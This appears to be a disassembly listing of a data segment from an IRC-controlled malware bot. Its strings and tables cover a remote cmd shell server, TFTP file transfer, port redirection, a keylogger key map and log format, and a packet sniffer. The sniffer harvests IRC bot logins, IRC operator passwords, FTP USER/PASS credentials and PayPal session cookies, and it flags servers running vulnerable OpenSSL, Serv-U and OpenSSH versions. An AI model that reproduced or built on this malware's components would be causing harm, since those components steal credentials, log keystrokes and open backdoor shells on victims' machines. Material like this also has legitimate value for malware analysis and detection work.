asc_44A966 db 0Ah,0 ; DATA XREF: sub_40FFD8+FAo
asc_44A968: ; DATA XREF: sub_40FFD8+156o
unicode 0, <*>,0
unk_44A96C db 2Dh ; - ; DATA XREF: sub_40FFD8+20Ao
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aWorkerThreadOf db ' worker thread of server thread: %d.',0
align 10h
dword_44A9A0 dd 234032Dh, 70747468h, 2D030264h, 69616620h, 2064656Ch
; DATA XREF: sub_40FFD8+27Co
dd 73206F74h, 74726174h, 726F7720h, 2072656Bh, 65726874h
dd 202C6461h, 6F727265h, 64252072h
db 2 dup(0)
word_44A9D6 dw 0Ah ; DATA XREF: sub_410287+29o
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_410287+4Bo
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_410287+77o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 4
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_410287+ACo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 8
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_410287+F6o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_410287+12Ao
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_410287+146o
align 8
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_410287+1BFo
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
a__ db '..',0 ; DATA XREF: sub_410287+231o
align 10h
a__1: ; DATA XREF: sub_410287+24Co
unicode 0, <.>,0
aPm_0 db 'PM',0 ; DATA XREF: sub_410287+284o
align 4
aAm db 'AM',0 ; DATA XREF: sub_410287+293o
align 4
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_410287+2B4o
aS_16 db '<%s>',0 ; DATA XREF: sub_410287+2DEo
align 4
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_410287+308o
align 10h
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_410287+335o
db '<TD WIDTH="%d"><A HREF="',0
align 10h
aSS_3 db '%s%s/',0 ; DATA XREF: sub_410287+379o
align 4
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_410287+3C6o
align 4
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_410287:loc_410654o
align 10h
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_410287+406o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aS_17 db '<%s>',0 ; DATA XREF: sub_410287+418o
align 10h
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_410287+439o
align 10h
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_410287+476o
align 4
aTrTdWidthDAH_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_410287+48Bo
db '<TD WIDTH="%d"><A HREF="',0
align 4
aSS_4 db '%s%s',0 ; DATA XREF: sub_410287+4CFo
align 10h
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_410287+51Co
align 10h
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_410287:loc_4107AAo
align 4
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_410287+566o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_410287+58Eo
align 4
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_410287+61Do
align 10h
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_410287+638o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 4
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_410287+64Do
align 10h
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4109F3+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
dword_44AEB8 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_410B14+BBo
aClientConnecti db '- client connection from %s:%d.',0
aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_410B14+113o
dword_44AEFC dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_410B14+16Eo
aServerFailed_0 db '- server failed, returned %d',0
align 4
unk_44AF28 db 2Dh ; - ; DATA XREF: sub_410CBF+E9o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 10h
unk_44AF70 db 2Dh ; - ; DATA XREF: sub_410CBF+14Bo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToSta_39 db 'Failed to start client thread, error: <%d>.',0
align 10h
unk_44AFB0 db 2Dh ; - ; DATA XREF: sub_410E4F+E1o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0
align 8
unk_44AFF8 db 2Dh ; - ; DATA XREF: sub_410E4F+157o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aFailedToSta_40 db 'Failed to start connection thread, error: <%d>.',0
unk_44B038 db 2Dh ; - ; DATA XREF: sub_4110D4+E1o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorGetpeerna db '- Error: getpeername(): <%d>.',0
align 4
aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: sub_4110D4+172o
align 4
unk_44B078 db 2Dh ; - ; DATA XREF: sub_4110D4+1A2o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedInS@ db '- User logged in: <%s@%s>.',0
unk_44B0A0 db 2Dh ; - ; DATA XREF: sub_4110D4+1C2o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorSessionru db '- Error: SessionRun(): <%d>.',0
align 4
unk_44B0CC db 2Dh ; - ; DATA XREF: sub_4110D4+1E9o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedOutS db '- User logged out: <%s@%s>.',0
align 4
unk_44B0F8 db 2Dh ; - ; DATA XREF: sub_4112D9:loc_41130Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aProtocolString db '- Protocol string too long.',0
align 4
unk_44B124 db 2Dh ; - ; DATA XREF: sub_41131A+1Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aLoginRejectedR db '- Login rejected, Remote user: <%s@%s>.',0
align 4
unk_44B15C db 2Dh ; - ; DATA XREF: sub_411349+3Do
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0
align 4
unk_44B188 db 2Dh ; - ; DATA XREF: sub_411349+70o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToInstal db '- Failed to install control-C handler, error: <%d>.',0
align 4
unk_44B1CC db 2Dh ; - ; DATA XREF: sub_411349+106o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aReadyAndWaitin db '- Ready and waiting for incoming connections.',0
align 4
unk_44B208 db 2Dh ; - ; DATA XREF: sub_411349+177o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aClientConnec_2 db '- Client connection from IP: %s:%d, Server thread: %d.',0
unk_44B24C db 2Dh ; - ; DATA XREF: sub_411349+1E8o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToSta_41 db '- Failed to start client thread, error: <%d>.',0
align 4
unk_44B288 db 2Dh ; - ; DATA XREF: sub_411349+218o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorServerFai db '- Error: server failed, returned: <%d>.',0
align 10h
unk_44B2C0 db 2Dh ; - ; DATA XREF: sub_4115D0+59o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0
align 4
unk_44B308 db 2Dh ; - ; DATA XREF: sub_4115D0+8Fo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_0 db '- Failed to create ReadShell session thread, error: <%d>.',0
align 10h
unk_44B350 db 2Dh ; - ; DATA XREF: sub_4115D0+E2o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0
align 8
unk_44B388 db 2Dh ; - ; DATA XREF: sub_411725+5Co
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_44B3C8 db 2Dh ; - ; DATA XREF: sub_411725+7Eo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_2 db '- Failed to create shell stdin pipe, error: <%d>.',0
align 4
unk_44B408 db 2Dh ; - ; DATA XREF: sub_411725+AFo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExecut db '- Failed to execute shell.',0
aCmdQ db 'cmd /q',0 ; DATA XREF: sub_41181E+8Co
align 4
unk_44B438 db 2Dh ; - ; DATA XREF: sub_41181E+C3o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0
align 10h
unk_44B470 db 2Dh ; - ; DATA XREF: sub_4118F7+8Do
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aSessionreadshe db '- SessionReadShellThread exited, error: <%ld>.',0
align 10h
dword_44B4B0 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411AAE+A8o
aServerStarte_5 db '- Server started on: %s:%d.',0
dword_44B4D8 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411AAE+114o
aClientConnec_3 db '- Client connection from IP: %s:%d, Server thread: %d.',0
align 4
dword_44B51C dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411AAE+17Co
aFailedToSta_42 db '- Failed to start client thread, error: <%d>.',0
align 4
dword_44B558 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411AAE+1B1o
aFailedToSta_43 db '- Failed to start server on Port %d.',0
align 4
dword_44B58C dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411CB2+F2o
aAuthentication db '- Authentication failed. Remote userid: %s != %s.',0
align 4
dword_44B5CC dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411CB2+18Ao
aErrorFailedToO db '- Error: Failed to open socket(), returned: <%d>.',0
align 10h
dword_44B610 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411CB2+1F9o
aErrorFailedToC db '- Error: Failed to connect to target, returned: <%d>.',0
align 4
aRb_0 db 'rb',0 ; DATA XREF: sub_41206F+130o
align 4
aTftpTransferSt db 'Tftp transfer started to: %s',0 ; DATA XREF: sub_41206F+2CDo
align 4
aTftpTransferCo db 'Tftp transfer complete to: %s',0 ; DATA XREF: sub_41206F+3BEo
align 4
dword_44B698 dd 4000500h, 7868746Bh, 2 dup(0) ; DATA XREF: sub_41206F+416o
dd 8
dword_44B6AC dd 62h, 62000000h, 2 dup(0) ; DATA XREF: sub_4125C5:loc_4126A8o
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 61000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h
dword_44BDDC dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_4125C5+2AAo
dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
dword_44BE14 dd 5Ch ; DATA XREF: sub_4124E6+2Co
dword_44BE18 dd 6261h ; DATA XREF: sub_4124E6+4Eo
aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4124E6+86o
align 4
dword_44BE38 dd 234032Dh, 6C79656Bh, 302676Fh, 7325202Dh, 0 ; DATA XREF: sub_4124E6+ACo
aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4125C5+8Fo
align 4
aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4125C5+1D9o
align 10h
aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_4125C5+21Co
align 8
aBot db 'BOT',0 ; DATA XREF: _2:off_44BEACo
off_44BE9C dd offset loc_435240+9 ; DATA XREF: _2:0044BEB0o
off_44BEA0 dd offset loc_505442+4 ; DATA XREF: _2:0044BEB4o
aHttp_0 db 'HTTP',0 ; DATA XREF: _2:0044BEB8o
align 4
off_44BEAC dd offset aBot ; DATA XREF: sub_41289A+2B5r
; "BOT"
dd offset off_44BE9C
dd offset off_44BEA0
dd offset aHttp_0 ; "HTTP"
align 10h
dword_44BEC0 dd 6F6C2E3Ah, 6E6967h, 3 dup(0) ; DATA XREF: sub_41289A+1DEo
dword_44BED4 dd 0 ; DATA XREF: sub_41289A+2AEr
dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
dd 6F6C213Ah, 6E6967h, 4 dup(0)
dd 6F6C403Ah, 6E6967h, 4 dup(0)
dd 6F6C243Ah, 6E6967h, 4 dup(0)
dd 6F6C253Ah, 6E6967h, 4 dup(0)
dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
dd 6F6C263Ah, 6E6967h, 4 dup(0)
dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
dd 6F6C273Ah, 6E6967h, 4 dup(0)
dd 6F6C603Ah, 6E6967h, 4 dup(0)
dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
dd 6F6C203Ah, 6E6967h, 4 dup(0)
dd 75612E3Ah, 6874h, 4 dup(0)
dd 75612C3Ah, 6874h, 4 dup(0)
dd 7561213Ah, 6874h, 4 dup(0)
dd 7561403Ah, 6874h, 4 dup(0)
dd 7561243Ah, 6874h, 4 dup(0)
dd 7561253Ah, 6874h, 4 dup(0)
dd 75615E3Ah, 6874h, 4 dup(0)
dd 7561263Ah, 6874h, 4 dup(0)
dd 75612A3Ah, 6874h, 4 dup(0)
dd 75612D3Ah, 6874h, 4 dup(0)
dd 75612B3Ah, 6874h, 4 dup(0)
dd 75612F3Ah, 6874h, 4 dup(0)
dd 75615C3Ah, 6874h, 4 dup(0)
dd 75613D3Ah, 6874h, 4 dup(0)
dd 75613F3Ah, 6874h, 4 dup(0)
dd 7561273Ah, 6874h, 4 dup(0)
dd 7561603Ah, 6874h, 4 dup(0)
dd 75617E3Ah, 6874h, 4 dup(0)
dd 7561203Ah, 6874h, 4 dup(0)
dd 64692E3Ah, 5 dup(0)
dd 64692C3Ah, 5 dup(0)
dd 6469213Ah, 5 dup(0)
dd 6469403Ah, 5 dup(0)
dd 6469243Ah, 5 dup(0)
dd 6469253Ah, 5 dup(0)
dd 64695E3Ah, 5 dup(0)
dd 6469263Ah, 5 dup(0)
dd 64692A3Ah, 5 dup(0)
dd 64692D3Ah, 5 dup(0)
dd 64692B3Ah, 5 dup(0)
dd 64692F3Ah, 5 dup(0)
dd 64695C3Ah, 5 dup(0)
dd 64693D3Ah, 5 dup(0)
dd 64693F3Ah, 5 dup(0)
dd 6469273Ah, 5 dup(0)
dd 6469603Ah, 5 dup(0)
dd 64697E3Ah, 5 dup(0)
dd 6469203Ah, 5 dup(0)
dd 61682E3Ah, 6E696873h, 4 dup(0)
dd 6168213Ah, 6E696873h, 4 dup(0)
dd 6168243Ah, 6E696873h, 4 dup(0)
dd 6168253Ah, 6E696873h, 4 dup(0)
dd 65732E3Ah, 65727563h, 4 dup(0)
dd 6573213Ah, 65727563h, 4 dup(0)
dd 6C2E3Ah, 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
dd 79732E3Ah, 6Eh, 4 dup(0)
dd 7973213Ah, 6Eh, 4 dup(0)
dd 7973243Ah, 6Eh, 4 dup(0)
dd 7973253Ah, 6Eh, 4 dup(0)
dd 4B444320h, 207965h, 4 dup(0)
dd 4E494F4Ah, 2320h, 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
dword_44C718 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_41289A+85o
aSocketFailedRe db '- socket() failed, returned %d',0
align 4
dword_44C744 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_41289A+103o
aBindFailedRetu db '- bind() failed, returned %d',0
align 10h
dword_44C770 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_41289A+186o
aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0
align 10h
aPsniff_0 db '[PSNIFF]',0 ; DATA XREF: sub_41289A+236o
align 4
dword_44C7AC dd 234032Dh, 696E7370h, 3026666h, 2Dh ; DATA XREF: sub_41289A+24Do
dword_44C7BC dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_41289A+2C2o
aSuspiciousSPac db '- suspicious %s packet from: %s:%d - %s',0
dword_44C7F0 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_41289A+313o
aRecvFailedRetu db '- recv() failed, returned %d',0
align 4
aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412C1F+5o
align 4
aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412C1F+2Bo
align 4
aPsniff_2 db 'PSNIFF//',0 ; DATA XREF: sub_412C1F+3Co
align 10h
aJoin_1 db 'JOIN #',0 ; DATA XREF: sub_412C1F+4Do
align 4
a302_0 db '302 ',0 ; DATA XREF: sub_412C1F:loc_412C81o
align 10h
a366 db '366 ',0 ; DATA XREF: sub_412C1F+73o
align 4
a_login db ':.login',0 ; DATA XREF: sub_412C1F+84o
aLogin_1 db ':!login',0 ; DATA XREF: sub_412C1F+95o
aLogin_2 db ':!Login',0 ; DATA XREF: sub_412C1F+A6o
a_login_0 db ':.Login',0 ; DATA XREF: sub_412C1F+B7o
a_ident db ':.ident',0 ; DATA XREF: sub_412C1F+C8o
aIdent_0 db ':!ident',0 ; DATA XREF: sub_412C1F+D9o
a_hashin db ':.hashin',0 ; DATA XREF: sub_412C1F+EEo
align 4
aHashin db ':!hashin',0 ; DATA XREF: sub_412C1F+103o
align 10h
aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412D36+5o
align 4
aOper db 'OPER ',0 ; DATA XREF: sub_412D36+2Bo
align 4
aNick_3 db 'NICK ',0 ; DATA XREF: sub_412D36:loc_412D76o
align 4
aOper_0 db 'oper ',0 ; DATA XREF: sub_412D36+51o
align 4
aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412D36+62o
aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_412DAC+5o
align 4
aNick_2 db 'NICK ',0 ; DATA XREF: sub_412DAC+2Bo
align 4
a220 db '220 ',0 ; DATA XREF: sub_412DAC+3Co
align 4
a230 db '230 ',0 ; DATA XREF: sub_412DAC:loc_412DFDo
align 4
aUser_2 db 'USER ',0 ; DATA XREF: sub_412DAC+62o
align 4
aPass_0 db 'PASS ',0 ; DATA XREF: sub_412DAC+73o
align 4
aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_412E33+5o
align 10h
aPaypal db 'paypal',0 ; DATA XREF: sub_412E33+2Bo
align 4
aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_412E33:loc_412E73o
align 10h
aPaypal_com db 'PAYPAL.COM',0 ; DATA XREF: sub_412E33+51o
align 4
aPaypal_com_0 db 'paypal.com',0 ; DATA XREF: sub_412E33+62o
align 4
aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_412E33+73o
aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_412EBA+5o
align 10h
aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_412EBA+2Bo
align 10h
aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_412EBA:loc_412EFAo
align 4
aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_412EBA+51o
align 10h
unk_44C990 db 2Dh ; - ; DATA XREF: sub_412F1F+C5o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBindFailedRe_0 db '- bind() failed, returned %d',0
